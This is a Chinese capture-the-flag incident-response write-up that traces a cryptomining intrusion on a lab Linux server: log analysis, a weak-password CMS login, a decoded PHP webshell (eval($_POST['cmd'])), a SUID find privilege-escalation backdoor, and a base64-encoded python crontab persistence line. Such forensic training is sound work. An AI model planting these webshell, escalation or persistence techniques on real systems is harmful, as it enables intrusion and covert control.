玄机：第五章 linux实战-挖矿

简介

应急相应工程师在内网服务器发现有台主机 cpu 占用过高，推测大概是中了挖矿病毒，请溯源分析，提交对应的陈诉给应急小组

2. 虚拟机账号：root
3. 密码 ：websecyjxy
4. web端口为：8081

复制代码

1、黑客的IP是？ flag格式：flag{黑客的ip地点}，如：flag{127.0.0.1}

发现日志里有一个文件巨细非常

2. cd /www/admin/websec_80/log/
3. cut -d- -f 1 nginx_access_2023-12-22.log|uniq -c | sort -rn | head -20

复制代码

发现了可疑 IP

2. flag{192.168.10.135}

复制代码

2、黑客攻陷网站的具体时间是？ flag格式：flag{年-月-日 时:分:秒}，如：flag{2023-12-24 22:23:24}

访问靶场网站

2. 52.83.102.186:8081/dede

复制代码

是 dedecms， 使用弱口令登录

2. 账号：admin
3. 密码：12345678

复制代码

发现有两个账户，根据刚刚获取到的黑客ip，可以发现该时间

2. flag{2023-12-22 19:08:34}

复制代码

3、黑客上传webshell的名称及暗码是？ flag格式：flag{黑客上传的webshell名称-webshell暗码}，如：flag{webshell.php-pass}

将文件下载下来，使用 D盾举行扫描检测，发现了一个后门

找到该目次检察文件内容

解密之后是：eval($_POST['cmd']);

2. flag{404.php-cmd}

复制代码

4、黑客提权后设置的后门文件名称是？ flag格式：flag{后门文件绝对路径加上名称}，如：flag{/etc/passwd}

检察汗青下令记载，发现 find 被赋予了suid权限，黑客可以使用suid提权做后门,
黑客实行以下下令即可从服务权限提升到root权限，即find文件被做了后门，( 黑客使用 find 下令被赋予了SUID权限后所举行的攻击)
find / -exec 恣意下令 {} \;

2. flag{/usr/bin/find}

复制代码

5、对黑客上传的挖矿病毒举行分析，获取匿伏的Flag

找挖矿步伐就要找筹划使命但是crontab指令用不了
检察该文件/etc/crontab，在691行的一段python代码比力可疑，举行base64解码

2. 691 nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19Uc nVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1

复制代码

得到终极的flag

2. flag{websec_True@888!}

复制代码

flag

2. flag{192.168.10.135}
3. flag{2023-12-22 19:08:34}
4. flag{404.php-cmd}
5. flag{/usr/bin/find}
6. flag{websec_True@888!}

复制代码